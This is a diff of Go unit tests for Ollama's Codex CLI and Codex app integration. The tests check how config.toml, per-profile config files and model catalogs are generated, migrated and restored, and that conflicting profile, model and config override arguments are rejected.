||||
t.Fatalf("expected config to contain %q, got:\n%s", want, content)
|
||||
}
|
||||
}
|
||||
if got, ok := codexRootStringValueOK(content, "profile"); ok {
|
||||
t.Fatalf("legacy root profile should be removed, got %q in:\n%s", got, content)
|
||||
}
|
||||
if strings.Contains(content, codexProfileHeaderFor(codexAppProfileName)) {
|
||||
t.Fatalf("legacy app profile section should not be generated, got:\n%s", content)
|
||||
}
|
||||
if got := c.CurrentModel(); got != "llama3.2" {
|
||||
t.Fatalf("CurrentModel = %q, want llama3.2", got)
|
||||
}
|
||||
@@ -270,8 +270,8 @@ func TestCodexAppConfigureUsesAppSpecificProfileWithoutTouchingCLIProfile(t *tes
|
||||
t.Fatal(err)
|
||||
}
|
||||
content := string(data)
|
||||
if got := codexRootStringValue(content, "profile"); got != codexAppProfileName {
|
||||
t.Fatalf("root profile = %q, want %q", got, codexAppProfileName)
|
||||
if got, ok := codexRootStringValueOK(content, "profile"); ok {
|
||||
t.Fatalf("legacy root profile should be removed, got %q in:\n%s", got, content)
|
||||
}
|
||||
if got := codexSectionStringValue(content, codexProfileHeader(), "openai_base_url"); got != "http://cli.invalid/v1/" {
|
||||
t.Fatalf("CLI profile base URL = %q, want preserved CLI URL in:\n%s", got, content)
|
||||
@@ -279,8 +279,11 @@ func TestCodexAppConfigureUsesAppSpecificProfileWithoutTouchingCLIProfile(t *tes
|
||||
if got := codexSectionStringValue(content, codexProviderHeader(), "name"); got != "CLI Ollama" {
|
||||
t.Fatalf("CLI provider name = %q, want preserved CLI provider in:\n%s", got, content)
|
||||
}
|
||||
if got := codexSectionStringValue(content, codexProfileHeaderFor(codexAppProfileName), "model"); got != "llama3.2" {
|
||||
t.Fatalf("app profile model = %q, want llama3.2", got)
|
||||
if strings.Contains(content, codexProfileHeaderFor(codexAppProfileName)) {
|
||||
t.Fatalf("legacy app profile section should not be generated, got:\n%s", content)
|
||||
}
|
||||
if got := codexRootStringValue(content, "model"); got != "llama3.2" {
|
||||
t.Fatalf("root model = %q, want llama3.2", got)
|
||||
}
|
||||
if got := codexSectionStringValue(content, codexProviderHeaderFor(codexAppProfileName), "base_url"); got != "http://127.0.0.1:9999/v1/" {
|
||||
t.Fatalf("app provider base URL = %q", got)
|
||||
@@ -288,6 +291,98 @@ func TestCodexAppConfigureUsesAppSpecificProfileWithoutTouchingCLIProfile(t *tes
|
||||
assertBackupContains(t, filepath.Join(fileutil.BackupDir(), codexAppIntegrationName, "config.toml.*"), `profile = "default"`)
|
||||
}
|
||||
|
||||
func TestCodexCLIConfigRefreshLeavesCodexAppConfigActive(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
t.Setenv("OLLAMA_HOST", "http://127.0.0.1:9999")
|
||||
|
||||
appModels := testLaunchModels("llama3.2", "gemma4")
|
||||
if err := (&CodexApp{}).ConfigureWithModels("llama3.2", appModels); err != nil {
|
||||
t.Fatalf("ConfigureWithModels returned error: %v", err)
|
||||
}
|
||||
|
||||
configPath := filepath.Join(tmpDir, ".codex", "config.toml")
|
||||
appCatalogPath := mustCodexAppModelCatalogPath(t)
|
||||
if err := ensureCodexConfig("qwen3:8b", testLaunchModels("qwen3:8b")); err != nil {
|
||||
t.Fatalf("ensureCodexConfig returned error: %v", err)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
content := string(data)
|
||||
if got, ok := codexRootStringValueOK(content, "profile"); ok {
|
||||
t.Fatalf("CLI config refresh should not activate a root profile, got %q in:\n%s", got, content)
|
||||
}
|
||||
for key, want := range map[string]string{
|
||||
"model": "llama3.2",
|
||||
"model_provider": codexAppProfileName,
|
||||
"model_catalog_json": appCatalogPath,
|
||||
} {
|
||||
if got := codexRootStringValue(content, key); got != want {
|
||||
t.Fatalf("root %s = %q, want %q in:\n%s", key, got, want, content)
|
||||
}
|
||||
}
|
||||
if got := codexSectionStringValue(content, codexProviderHeaderFor(codexAppProfileName), "base_url"); got != "http://127.0.0.1:9999/v1/" {
|
||||
t.Fatalf("app provider base URL = %q", got)
|
||||
}
|
||||
cliCatalogPath := filepath.Join(tmpDir, ".codex", "model.json")
|
||||
if strings.Contains(content, codexProfileHeader()) {
|
||||
t.Fatalf("CLI legacy profile section should not be generated, got:\n%s", content)
|
||||
}
|
||||
if strings.Contains(content, codexProviderHeader()) {
|
||||
t.Fatalf("CLI provider should be isolated from app root config, got:\n%s", content)
|
||||
}
|
||||
|
||||
cliProfilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
|
||||
cliProfileData, err := os.ReadFile(cliProfilePath)
|
||||
if err != nil {
|
||||
t.Fatalf("CLI profile config not created: %v", err)
|
||||
}
|
||||
cliProfile := string(cliProfileData)
|
||||
for key, want := range map[string]string{
|
||||
"model": "qwen3:8b",
|
||||
"model_provider": codexProfileName,
|
||||
"model_catalog_json": cliCatalogPath,
|
||||
} {
|
||||
if got := codexRootStringValue(cliProfile, key); got != want {
|
||||
t.Fatalf("CLI profile %s = %q, want %q in:\n%s", key, got, want, cliProfile)
|
||||
}
|
||||
}
|
||||
if got := codexSectionStringValue(cliProfile, codexProviderHeader(), "base_url"); got != "http://127.0.0.1:9999/v1/" {
|
||||
t.Fatalf("CLI profile provider base URL = %q", got)
|
||||
}
|
||||
|
||||
appCatalogData, err := os.ReadFile(appCatalogPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var appCatalog struct {
|
||||
Models []map[string]any `json:"models"`
|
||||
}
|
||||
if err := json.Unmarshal(appCatalogData, &appCatalog); err != nil {
|
||||
t.Fatalf("app catalog should be valid JSON: %v", err)
|
||||
}
|
||||
if got := catalogSlugs(appCatalog.Models); strings.Join(got, ",") != "llama3.2,gemma4" {
|
||||
t.Fatalf("app catalog slugs = %v, want original app models", got)
|
||||
}
|
||||
|
||||
cliCatalogData, err := os.ReadFile(cliCatalogPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var cliCatalog struct {
|
||||
Models []map[string]any `json:"models"`
|
||||
}
|
||||
if err := json.Unmarshal(cliCatalogData, &cliCatalog); err != nil {
|
||||
t.Fatalf("CLI catalog should be valid JSON: %v", err)
|
||||
}
|
||||
if got := catalogSlugs(cliCatalog.Models); strings.Join(got, ",") != "qwen3:8b" {
|
||||
t.Fatalf("CLI catalog slugs = %v, want qwen3:8b", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCodexAppConfigureUsesConnectableHostForUnspecifiedBindAddress(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
@@ -306,8 +401,8 @@ func TestCodexAppConfigureUsesConnectableHostForUnspecifiedBindAddress(t *testin
|
||||
if strings.Contains(content, "0.0.0.0") {
|
||||
t.Fatalf("config should not write bind-only host, got:\n%s", content)
|
||||
}
|
||||
if got := codexSectionStringValue(content, codexProfileHeaderFor(codexAppProfileName), "openai_base_url"); got != "http://127.0.0.1:11434/v1/" {
|
||||
t.Fatalf("app profile openai_base_url = %q, want connectable loopback URL", got)
|
||||
if strings.Contains(content, codexProfileHeaderFor(codexAppProfileName)) {
|
||||
t.Fatalf("legacy app profile section should not be generated, got:\n%s", content)
|
||||
}
|
||||
if got := codexSectionStringValue(content, codexProviderHeaderFor(codexAppProfileName), "base_url"); got != "http://127.0.0.1:11434/v1/" {
|
||||
t.Fatalf("app provider base_url = %q, want connectable loopback URL", got)
|
||||
@@ -592,6 +687,52 @@ func TestCodexAppConfigurePopulatesCatalogFromEnrichedModels(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestCodexAppConfigureCatalogIncludesExactSelectedModel(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
|
||||
models := []LaunchModel{
|
||||
{Name: "llama3.2:latest", ContextLength: 65_536},
|
||||
{Name: "qwen3:8b"},
|
||||
}
|
||||
if err := (&CodexApp{}).ConfigureWithModels("llama3.2", models); err != nil {
|
||||
t.Fatalf("ConfigureWithModels returned error: %v", err)
|
||||
}
|
||||
|
||||
configPath, err := codexConfigPath()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
configData, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := codexRootStringValue(string(configData), codexRootModelKey); got != "llama3.2" {
|
||||
t.Fatalf("root model = %q, want llama3.2", got)
|
||||
}
|
||||
|
||||
catalogPath, err := codexAppModelCatalogPath()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
data, err := os.ReadFile(catalogPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var catalog struct {
|
||||
Models []map[string]any `json:"models"`
|
||||
}
|
||||
if err := json.Unmarshal(data, &catalog); err != nil {
|
||||
t.Fatalf("catalog should be valid JSON: %v", err)
|
||||
}
|
||||
if got := catalogSlugs(catalog.Models); strings.Join(got, ",") != "llama3.2,qwen3:8b" {
|
||||
t.Fatalf("catalog slugs = %v, want exact selected model without :latest duplicate", got)
|
||||
}
|
||||
if got := catalog.Models[0]["context_window"]; got != float64(65_536) {
|
||||
t.Fatalf("selected model context_window = %v, want 65536", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCodexAppConfigureUpgradesLegacyRestoreState(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
@@ -635,6 +776,105 @@ func TestCodexAppConfigureUpgradesLegacyRestoreState(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestCodexAppConfigureMigratesLegacyManagedConfigWithoutPollutingRestoreState(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
t.Setenv("OLLAMA_HOST", "http://127.0.0.1:9999")
|
||||
withCodexAppPlatform(t, "darwin")
|
||||
|
||||
var openCalls int
|
||||
withCodexAppProcessHooks(t,
|
||||
func() bool { return false },
|
||||
func() error { return nil },
|
||||
func() error {
|
||||
openCalls++
|
||||
return nil
|
||||
},
|
||||
)
|
||||
|
||||
configPath := filepath.Join(tmpDir, ".codex", "config.toml")
|
||||
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
catalogPath := mustCodexAppModelCatalogPath(t)
|
||||
existing := "" +
|
||||
fmt.Sprintf(`profile = %q`, codexAppProfileName) + "\n" +
|
||||
`model = "llama3.2"` + "\n" +
|
||||
fmt.Sprintf(`model_provider = %q`, codexAppProfileName) + "\n" +
|
||||
fmt.Sprintf(`model_catalog_json = %q`, catalogPath) + "\n\n" +
|
||||
codexProfileHeaderFor(codexAppProfileName) + "\n" +
|
||||
`model = "llama3.2"` + "\n" +
|
||||
fmt.Sprintf(`model_provider = %q`, codexAppProfileName) + "\n" +
|
||||
fmt.Sprintf(`model_catalog_json = %q`, catalogPath) + "\n\n" +
|
||||
codexProviderHeaderFor(codexAppProfileName) + "\n" +
|
||||
`name = "Ollama"` + "\n" +
|
||||
`base_url = "http://127.0.0.1:9999/v1/"` + "\n" +
|
||||
`wire_api = "responses"` + "\n\n" +
|
||||
"[profiles.default]\n" +
|
||||
`model = "gpt-5.5"` + "\n"
|
||||
if err := os.WriteFile(configPath, []byte(existing), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(codexAppRestoreStatePath()), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(codexAppRestoreStatePath(), []byte(`{"had_profile":true,"profile":"default"}`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
c := &CodexApp{}
|
||||
if err := c.ConfigureWithModels("qwen3:8b", testLaunchModels("qwen3:8b")); err != nil {
|
||||
t.Fatalf("ConfigureWithModels returned error: %v", err)
|
||||
}
|
||||
|
||||
state, err := loadCodexAppRestoreState()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !state.HadProfile || state.Profile != "default" {
|
||||
t.Fatalf("profile restore state = (%v, %q), want default", state.HadProfile, state.Profile)
|
||||
}
|
||||
if state.HadModel || state.HadModelProvider || state.HadModelCatalogJSON {
|
||||
t.Fatalf("legacy restore state should not capture managed root values: %+v", state)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
migrated := string(data)
|
||||
if got, ok := codexRootStringValueOK(migrated, "profile"); ok {
|
||||
t.Fatalf("legacy root profile should be removed during migration, got %q in:\n%s", got, migrated)
|
||||
}
|
||||
if strings.Contains(migrated, codexProfileHeaderFor(codexAppProfileName)) {
|
||||
t.Fatalf("legacy app profile section should be removed during migration, got:\n%s", migrated)
|
||||
}
|
||||
|
||||
if err := c.Restore(); err != nil {
|
||||
t.Fatalf("Restore returned error: %v", err)
|
||||
}
|
||||
|
||||
data, err = os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
restored := string(data)
|
||||
if got := codexRootStringValue(restored, "profile"); got != "default" {
|
||||
t.Fatalf("root profile = %q, want default in:\n%s", got, restored)
|
||||
}
|
||||
for _, key := range []string{"model", "model_provider", "model_catalog_json"} {
|
||||
if got, ok := codexRootStringValueOK(restored, key); ok {
|
||||
t.Fatalf("root %s should be removed on restore, got %q in:\n%s", key, got, restored)
|
||||
}
|
||||
}
|
||||
if strings.Contains(restored, codexProfileHeaderFor(codexAppProfileName)) || strings.Contains(restored, codexProviderHeaderFor(codexAppProfileName)) {
|
||||
t.Fatalf("owned app config should be removed on restore, got:\n%s", restored)
|
||||
}
|
||||
if openCalls != 1 {
|
||||
t.Fatalf("open calls = %d, want 1", openCalls)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCodexAppRestoreRestoresPreviousProfile(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
@@ -1237,7 +1477,7 @@ func TestCodexAppRunRestartsWindowsStartAppID(t *testing.T) {
|
||||
defer restoreConfirm()
|
||||
|
||||
running := true
|
||||
var quitCalls int
|
||||
var quitCalls, openCalls int
|
||||
withCodexAppProcessHooks(t,
|
||||
func() bool { return running },
|
||||
func() error {
|
||||
@@ -1246,7 +1486,7 @@ func TestCodexAppRunRestartsWindowsStartAppID(t *testing.T) {
|
||||
return nil
|
||||
},
|
||||
func() error {
|
||||
t.Fatal("open app fallback should not be used")
|
||||
openCalls++
|
||||
return nil
|
||||
},
|
||||
)
|
||||
|
||||
+405
-277
@@ -1,6 +1,7 @@
|
||||
package launch
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
@@ -14,10 +15,30 @@ import (
|
||||
modelpkg "github.com/ollama/ollama/types/model"
|
||||
)
|
||||
|
||||
func TestCodexIntegration(t *testing.T) {
|
||||
c := &Codex{}
|
||||
|
||||
t.Run("implements runner", func(t *testing.T) {
|
||||
var _ Runner = c
|
||||
})
|
||||
t.Run("implements restore", func(t *testing.T) {
|
||||
var _ RestorableIntegration = c
|
||||
var _ RestoreSuccessIntegration = c
|
||||
var _ RestoreInstallCheckSkipper = c
|
||||
})
|
||||
}
|
||||
|
||||
func TestCodexArgs(t *testing.T) {
|
||||
c := &Codex{}
|
||||
catalogPath := filepath.Join("tmp", "model.json")
|
||||
catalogArg := fmt.Sprintf("%s=%q", codexRootModelCatalogJSONKey, catalogPath)
|
||||
managedArgs := []string{
|
||||
"--profile", "ollama-launch",
|
||||
"-c", fmt.Sprintf("%s=%q", codexRootModelProviderKey, codexProfileName),
|
||||
"-c", fmt.Sprintf("model_providers.%s.name=%q", codexProfileName, codexProviderName),
|
||||
"-c", fmt.Sprintf("model_providers.%s.base_url=%q", codexProfileName, codexBaseURL()),
|
||||
"-c", fmt.Sprintf("model_providers.%s.wire_api=%q", codexProfileName, "responses"),
|
||||
"-c", fmt.Sprintf("%s=%q", codexRootModelCatalogJSONKey, catalogPath),
|
||||
}
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
@@ -25,15 +46,17 @@ func TestCodexArgs(t *testing.T) {
|
||||
args []string
|
||||
want []string
|
||||
}{
|
||||
{"with model", "llama3.2", nil, []string{"--profile", "ollama-launch", "-c", catalogArg, "-m", "llama3.2"}},
|
||||
{"empty model", "", nil, []string{"--profile", "ollama-launch", "-c", catalogArg}},
|
||||
{"with model and extra args", "qwen3.5", []string{"-p", "myprofile"}, []string{"--profile", "ollama-launch", "-c", catalogArg, "-m", "qwen3.5", "-p", "myprofile"}},
|
||||
{"with sandbox flag", "llama3.2", []string{"--sandbox", "workspace-write"}, []string{"--profile", "ollama-launch", "-c", catalogArg, "-m", "llama3.2", "--sandbox", "workspace-write"}},
|
||||
{"with model", "llama3.2", nil, append(slices.Clone(managedArgs), "-m", "llama3.2")},
|
||||
{"empty model", "", nil, managedArgs},
|
||||
{"with sandbox flag", "llama3.2", []string{"--sandbox", "workspace-write"}, append(append(slices.Clone(managedArgs), "-m", "llama3.2"), "--sandbox", "workspace-write")},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := c.args(tt.model, catalogPath, tt.args)
|
||||
got, err := c.args(tt.model, catalogPath, tt.args)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !slices.Equal(got, tt.want) {
|
||||
t.Errorf("args(%q, %v) = %v, want %v", tt.model, tt.args, got, tt.want)
|
||||
}
|
||||
@@ -41,301 +64,117 @@ func TestCodexArgs(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriteCodexProfile(t *testing.T) {
|
||||
func TestCodexArgsRejectManagedProfile(t *testing.T) {
|
||||
c := &Codex{}
|
||||
for _, extra := range [][]string{
|
||||
{"-p", "myprofile"},
|
||||
{"-pmyprofile"},
|
||||
{"--profile", "myprofile"},
|
||||
{"--profile=myprofile"},
|
||||
} {
|
||||
t.Run(strings.Join(extra, " "), func(t *testing.T) {
|
||||
_, err := c.args("llama3.2", "", extra)
|
||||
if err == nil || !strings.Contains(err.Error(), "manages --profile") {
|
||||
t.Fatalf("args error = %v, want profile conflict", err)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCodexArgsRejectManagedOverrides(t *testing.T) {
|
||||
c := &Codex{}
|
||||
for _, extra := range [][]string{
|
||||
{"-m", "other"},
|
||||
{"-mother"},
|
||||
{"--model", "other"},
|
||||
{"--model=other"},
|
||||
{"-c", `model_catalog_json="/tmp/other.json"`},
|
||||
{"--config", `model_provider="openai"`},
|
||||
{"--config=model_providers.ollama-launch.base_url=\"http://other.invalid/v1/\""},
|
||||
} {
|
||||
t.Run(strings.Join(extra, " "), func(t *testing.T) {
|
||||
_, err := c.args("llama3.2", "", extra)
|
||||
if err == nil {
|
||||
t.Fatalf("args error = nil, want managed config conflict")
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriteCodexProfileConfig(t *testing.T) {
|
||||
t.Run("creates new file when none exists", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
configPath := filepath.Join(tmpDir, "config.toml")
|
||||
profilePath := filepath.Join(tmpDir, "ollama-launch.config.toml")
|
||||
catalogPath := filepath.Join(tmpDir, "model.json")
|
||||
|
||||
if err := writeCodexProfile(configPath, catalogPath); err != nil {
|
||||
if err := writeCodexProfileConfig(profilePath, "llama3.2", catalogPath); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(configPath)
|
||||
data, err := os.ReadFile(profilePath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
content := string(data)
|
||||
if !strings.Contains(content, "[profiles.ollama-launch]") {
|
||||
t.Error("missing [profiles.ollama-launch] header")
|
||||
}
|
||||
if !strings.Contains(content, "openai_base_url") {
|
||||
t.Error("missing openai_base_url key")
|
||||
}
|
||||
if !strings.Contains(content, "/v1/") {
|
||||
t.Error("missing /v1/ suffix in base URL")
|
||||
}
|
||||
if !strings.Contains(content, `forced_login_method = "api"`) {
|
||||
t.Error("missing forced_login_method key")
|
||||
}
|
||||
if !strings.Contains(content, `model_provider = "ollama-launch"`) {
|
||||
t.Error("missing model_provider key")
|
||||
}
|
||||
if !strings.Contains(content, fmt.Sprintf("model_catalog_json = %q", catalogPath)) {
|
||||
t.Error("missing model_catalog_json key")
|
||||
}
|
||||
if !strings.Contains(content, "[model_providers.ollama-launch]") {
|
||||
t.Error("missing [model_providers.ollama-launch] section")
|
||||
}
|
||||
if !strings.Contains(content, `name = "Ollama"`) {
|
||||
t.Error("missing model provider name")
|
||||
}
|
||||
if err := codexValidateConfigText(content); err != nil {
|
||||
t.Fatalf("generated config should be valid TOML: %v\n%s", err, content)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("appends profile to existing file without profile", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
configPath := filepath.Join(tmpDir, "config.toml")
|
||||
catalogPath := filepath.Join(tmpDir, "model.json")
|
||||
existing := "[some_other_section]\nkey = \"value\"\n"
|
||||
os.WriteFile(configPath, []byte(existing), 0o644)
|
||||
|
||||
if err := writeCodexProfile(configPath, catalogPath); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
data, _ := os.ReadFile(configPath)
|
||||
content := string(data)
|
||||
|
||||
if !strings.Contains(content, "[some_other_section]") {
|
||||
t.Error("existing section was removed")
|
||||
}
|
||||
if !strings.Contains(content, "[profiles.ollama-launch]") {
|
||||
t.Error("missing [profiles.ollama-launch] header")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("replaces existing profile section", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
configPath := filepath.Join(tmpDir, "config.toml")
|
||||
catalogPath := filepath.Join(tmpDir, "model.json")
|
||||
existing := "[profiles.ollama-launch]\nopenai_base_url = \"http://old:1234/v1/\"\n\n[model_providers.ollama-launch]\nname = \"Ollama\"\nbase_url = \"http://old:1234/v1/\"\n"
|
||||
os.WriteFile(configPath, []byte(existing), 0o644)
|
||||
|
||||
if err := writeCodexProfile(configPath, catalogPath); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
data, _ := os.ReadFile(configPath)
|
||||
content := string(data)
|
||||
|
||||
if strings.Contains(content, "old:1234") {
|
||||
t.Error("old URL was not replaced")
|
||||
}
|
||||
if strings.Count(content, "[profiles.ollama-launch]") != 1 {
|
||||
t.Errorf("expected exactly one [profiles.ollama-launch] section, got %d", strings.Count(content, "[profiles.ollama-launch]"))
|
||||
}
|
||||
if strings.Count(content, "[model_providers.ollama-launch]") != 1 {
|
||||
t.Errorf("expected exactly one [model_providers.ollama-launch] section, got %d", strings.Count(content, "[model_providers.ollama-launch]"))
|
||||
}
|
||||
if err := codexValidateConfigText(content); err != nil {
|
||||
t.Fatalf("generated config should be valid TOML: %v\n%s", err, content)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("replaces equivalent quoted profile table", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
configPath := filepath.Join(tmpDir, "config.toml")
|
||||
existing := "" +
|
||||
`profile = "default"` + "\n\n" +
|
||||
`[profiles."ollama-launch"]` + "\n" +
|
||||
`openai_base_url = "http://old:1234/v1/"` + "\n\n" +
|
||||
`[model_providers."ollama-launch"]` + "\n" +
|
||||
`name = "Old"` + "\n" +
|
||||
`base_url = "http://old:1234/v1/"` + "\n\n" +
|
||||
`[profiles.default]` + "\n" +
|
||||
`model = "gpt-5.5"` + "\n"
|
||||
os.WriteFile(configPath, []byte(existing), 0o644)
|
||||
|
||||
if err := writeCodexProfile(configPath); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
data, _ := os.ReadFile(configPath)
|
||||
content := string(data)
|
||||
|
||||
if strings.Contains(content, `profiles."ollama-launch"`) {
|
||||
t.Fatalf("quoted profile table should be replaced, got:\n%s", content)
|
||||
}
|
||||
if strings.Contains(content, "old:1234") {
|
||||
t.Fatalf("old URL was not replaced, got:\n%s", content)
|
||||
}
|
||||
if got := codexSectionStringValue(content, codexProfileHeader(), "model_provider"); got != codexProfileName {
|
||||
t.Fatalf("profile model_provider = %q, want %q", got, codexProfileName)
|
||||
}
|
||||
if got := codexSectionStringValue(content, codexProviderHeader(), "base_url"); !strings.Contains(got, "/v1/") {
|
||||
t.Fatalf("provider base_url = %q, want /v1/ URL", got)
|
||||
}
|
||||
if err := codexValidateConfigText(content); err != nil {
|
||||
t.Fatalf("generated config should be valid TOML: %v\n%s", err, content)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("rejects invalid existing toml without writing", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
configPath := filepath.Join(tmpDir, "config.toml")
|
||||
existing := "profile = \n"
|
||||
os.WriteFile(configPath, []byte(existing), 0o644)
|
||||
|
||||
err := writeCodexProfile(configPath)
|
||||
if err == nil || !strings.Contains(err.Error(), "invalid Codex config TOML") {
|
||||
t.Fatalf("writeCodexProfile error = %v, want invalid TOML", err)
|
||||
}
|
||||
|
||||
data, _ := os.ReadFile(configPath)
|
||||
if string(data) != existing {
|
||||
t.Fatalf("invalid config should be left untouched, got:\n%s", data)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("rejects malformed existing toml variants without writing", func(t *testing.T) {
|
||||
tests := map[string]string{
|
||||
"duplicate root key": "profile = \"default\"\nprofile = \"other\"\n",
|
||||
"unterminated string": "model = \"gpt-5.5\n",
|
||||
"bad table": "[profiles.ollama-launch\nmodel = \"llama3.2\"\n",
|
||||
"duplicate table key": "[profiles.ollama-launch]\nmodel = \"a\"\nmodel = \"b\"\n",
|
||||
}
|
||||
for name, existing := range tests {
|
||||
t.Run(name, func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
configPath := filepath.Join(tmpDir, "config.toml")
|
||||
if err := os.WriteFile(configPath, []byte(existing), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
err := writeCodexProfile(configPath)
|
||||
if err == nil || !strings.Contains(err.Error(), "invalid Codex config TOML") {
|
||||
t.Fatalf("writeCodexProfile error = %v, want invalid TOML", err)
|
||||
}
|
||||
|
||||
data, _ := os.ReadFile(configPath)
|
||||
if string(data) != existing {
|
||||
t.Fatalf("invalid config should be left untouched, got:\n%s", data)
|
||||
}
|
||||
})
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("backs up previous config before overwrite", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
configPath := filepath.Join(tmpDir, ".codex", "config.toml")
|
||||
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
existing := "# original-codex-backup-marker\n[profiles.default]\nmodel = \"gpt-5.5\"\n"
|
||||
if err := os.WriteFile(configPath, []byte(existing), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if err := writeCodexProfile(configPath); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
assertBackupContains(t, filepath.Join(fileutil.BackupDir(), "config.toml.*"), "original-codex-backup-marker")
|
||||
})
|
||||
|
||||
t.Run("updates equivalent quoted root keys", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
configPath := filepath.Join(tmpDir, "config.toml")
|
||||
existing := "" +
|
||||
`"profile" = "default"` + "\n" +
|
||||
`"model" = "gpt-5.5"` + "\n" +
|
||||
`"model_provider" = "openai"` + "\n\n" +
|
||||
`[profiles.default]` + "\n" +
|
||||
`model = "gpt-5.5"` + "\n"
|
||||
os.WriteFile(configPath, []byte(existing), 0o644)
|
||||
|
||||
err := writeCodexLaunchProfile(configPath, codexLaunchProfileOptions{
|
||||
activate: true,
|
||||
setRootModelConfig: true,
|
||||
model: "llama3.2",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
data, _ := os.ReadFile(configPath)
|
||||
content := string(data)
|
||||
for key, want := range map[string]string{
|
||||
"profile": codexProfileName,
|
||||
"model": "llama3.2",
|
||||
"model_provider": codexProfileName,
|
||||
for _, want := range []string{
|
||||
`model = "llama3.2"`,
|
||||
`model_provider = "ollama-launch"`,
|
||||
fmt.Sprintf("model_catalog_json = %q", catalogPath),
|
||||
"[model_providers.ollama-launch]",
|
||||
`name = "Ollama"`,
|
||||
`base_url = "http://127.0.0.1:11434/v1/"`,
|
||||
`wire_api = "responses"`,
|
||||
} {
|
||||
if got := codexRootStringValue(content, key); got != want {
|
||||
t.Fatalf("root %s = %q, want %q in:\n%s", key, got, want, content)
|
||||
if !strings.Contains(content, want) {
|
||||
t.Errorf("missing %q in:\n%s", want, content)
|
||||
}
|
||||
}
|
||||
if strings.Contains(content, `"profile"`) || strings.Contains(content, `"model_provider"`) {
|
||||
t.Fatalf("quoted root keys should be rewritten once, got:\n%s", content)
|
||||
if got, ok := codexRootStringValueOK(content, "profile"); ok {
|
||||
t.Fatalf("legacy root profile should not be generated, got %q in:\n%s", got, content)
|
||||
}
|
||||
if strings.Contains(content, "[profiles.ollama-launch]") {
|
||||
t.Fatalf("legacy profile section should not be generated, got:\n%s", content)
|
||||
}
|
||||
if err := codexValidateConfigText(content); err != nil {
|
||||
t.Fatalf("generated config should be valid TOML: %v\n%s", err, content)
|
||||
}
|
||||
})
|
||||
|
||||
